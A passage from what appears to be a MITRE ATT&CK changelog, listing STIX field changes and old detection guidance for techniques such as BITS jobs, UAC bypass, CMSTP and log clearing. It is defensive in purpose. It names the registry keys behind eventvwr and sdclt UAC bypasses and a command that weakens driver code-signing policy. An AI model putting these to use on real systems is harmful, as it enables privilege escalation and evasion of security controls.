x_mitre_detectionDepending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.

[T1020] Automated Exfiltration

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:42.569000+00:002025-10-24 17:48:58.340000+00:00
x_mitre_detectionMonitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.

[T1197] BITS Jobs

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Service: Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:20.513000+00:002025-10-24 17:49:22.711000+00:00
x_mitre_detectionBITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) + +Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) + +Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)

[T1102.002] Web Service: Bidirectional Communication

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:51.598000+00:002025-10-24 17:49:18.602000+00:00
x_mitre_detectionHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1027.001] Obfuscated Files or Information: Binary Padding

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:48.991000+00:002025-10-24 17:48:50.205000+00:00
x_mitre_detectionDepending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.

[T1547] Boot or Logon Autostart Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Module: Module Load', 'Command: Command Execution', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation', 'Driver: Driver Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:12.270000+00:002025-10-24 17:48:29.846000+00:00
x_mitre_detectionMonitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. + +Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. + +Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.

[T1037] Boot or Logon Initialization Scripts

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:02.121000+00:002025-10-24 17:48:20.077000+00:00
x_mitre_detectionMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1542.003] Pre-OS Boot: Bootkit

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Drive: Drive Modification', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:10.739000+00:002025-10-24 17:48:28.341000+00:00
x_mitre_detectionPerform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.

[T1584.005] Compromise Infrastructure: Botnet

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 13:38:12.734000+00:002025-10-24 17:49:02.197000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

[T1217] Browser Information Discovery

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:54:16.719000+00:002025-10-24 17:48:50.561000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

[T1185] Browser Session Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Modification', 'Process: Process Access', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:33.428000+00:002025-10-24 17:48:48.383000+00:00
x_mitre_detectionThis may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.

[T1612] Build Image on Host

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Image: Image Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:54:42.589000+00:002025-10-24 17:49:01.646000+00:00
x_mitre_detectionMonitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.

[T1591.002] Gather Victim Org Information: Business Relationships

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:54:59.306000+00:002025-10-24 17:48:55.897000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1548.002] Abuse Elevation Control Mechanism: Bypass User Account Control

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:15.662000+00:002025-10-24 17:48:25.823000+00:00
x_mitre_detectionThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. + +Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + +* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass) + +* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) + +Analysts should monitor these Registry settings for unauthorized changes.

[T1596.004] Search Open Technical Databases: CDNs

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:55:21.053000+00:002025-10-24 17:49:06.210000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1218.003] System Binary Proxy Execution: CMSTP

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:29.296000+00:002025-10-24 17:48:45.149000+00:00
x_mitre_detectionUse process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + +Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + +* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. +* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).

[T1574.012] Hijack Execution Flow: COR_PROFILER

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:41.257000+00:002025-10-24 17:49:40.510000+00:00
x_mitre_detectionFor detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.

[T1003.005] OS Credential Dumping: Cached Domain Credentials

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:55:45.923000+00:002025-10-24 17:48:54.919000+00:00
x_mitre_detectionMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + +Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.

[T1546.001] Event Triggered Execution: Change Default File Association

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:52.605000+00:002025-10-24 17:49:07.854000+00:00
x_mitre_detectionCollect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. + +User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. + +Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.

[T1070.003] Indicator Removal: Clear Command History

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Command: Command Execution', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:23.774000+00:002025-10-24 17:48:40.313000+00:00
x_mitre_detectionUser authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. + +Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.

[T1070.002] Indicator Removal: Clear Linux or Mac System Logs

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Deletion', 'File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:56:45.103000+00:002025-10-24 17:48:34.441000+00:00
x_mitre_detectionFile system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.

[T1070.001] Indicator Removal: Clear Windows Event Logs

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Deletion', 'Process: OS API Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:36.700000+00:002025-10-24 17:48:52.287000+00:00
x_mitre_detectionDeleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: "The audit log was cleared").

[T1592.004] Gather Victim Host Information: Client Configurations

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:57:34.604000+00:002025-10-24 17:48:58.431000+00:00
x_mitre_detectionInternet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1115] Clipboard Data

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:57:50.289000+00:002025-10-24 17:48:36.079000+00:00
x_mitre_detectionAccess to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.

[T1136.003] Create Account: Cloud Account

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:01:16.589000+00:002025-10-24 17:49:09.917000+00:00
x_mitre_detectionCollect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1087.004] Account Discovery: Cloud Account

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:00:56.981000+00:002025-10-24 17:49:05.745000+00:00
x_mitre_detectionMonitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. + +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

[T1585.003] Establish Accounts: Cloud Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:01:31.837000+00:002025-10-24 17:49:06.502000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

[T1078.004] Valid Accounts: Cloud Accounts

Current version: 1.9

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.556000+00:002025-10-24 17:49:35.682000+00:00
x_mitre_detectionMonitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.

[T1586.003] Compromise Accounts: Cloud Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:01:54.640000+00:002025-10-24 17:48:41.215000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

[T1069.003] Permission Groups Discovery: Cloud Groups

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Application Log: Application Log Content', 'Process: Process Creation', 'Group: Group Metadata', 'Group: Group Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:02:13.319000+00:002025-10-24 17:48:26.982000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.

[T1580] Cloud Infrastructure Discovery

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Enumeration', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Enumeration', 'Snapshot: Snapshot Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:02:30.057000+00:002025-10-24 17:48:49.479000+00:00
x_mitre_detectionEstablish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1552.005] Unsecured Credentials: Cloud Instance Metadata API

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:02:45.218000+00:002025-10-24 17:48:27.965000+00:00
x_mitre_detectionMonitor access to the Instance Metadata API and look for anomalous queries. + +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).

[T1538] Cloud Service Dashboard

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:16.288000+00:002025-10-24 17:49:32.022000+00:00
x_mitre_detectionMonitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)

[T1526] Cloud Service Discovery

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Service: Cloud Service Enumeration', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:03:24.903000+00:002025-10-24 17:49:30.791000+00:00
x_mitre_detectionCloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.

[T1619] Cloud Storage Object Discovery

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Storage: Cloud Storage Access', 'Cloud Storage: Cloud Storage Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:04:12.682000+00:002025-10-24 17:49:03.853000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Monitor cloud logs for API calls used for file or object enumeration for unusual activity.

[T1213.003] Data from Information Repositories: Code Repositories

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:04:59.867000+00:002025-10-24 17:49:25.081000+00:00
x_mitre_detectionMonitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.

[T1593.003] Search Open Websites/Domains: Code Repositories

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:04:43.188000+00:002025-10-24 17:48:56.790000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1553.002] Subvert Trust Controls: Code Signing

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:16.240000+00:002025-10-24 17:48:37.098000+00:00
x_mitre_detectionCollect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.

[T1587.002] Develop Capabilities: Code Signing Certificates

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:05:55.035000+00:002025-10-24 17:48:37.738000+00:00
x_mitre_detectionConsider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1588.003] Obtain Capabilities: Code Signing Certificates

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:05:19.685000+00:002025-10-24 17:49:32.891000+00:00
x_mitre_detectionConsider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1553.006] Subvert Trust Controls: Code Signing Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:33.055000+00:002025-10-24 17:48:48.927000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.

[T1059] Command and Scripting Interpreter

Current version: 2.6

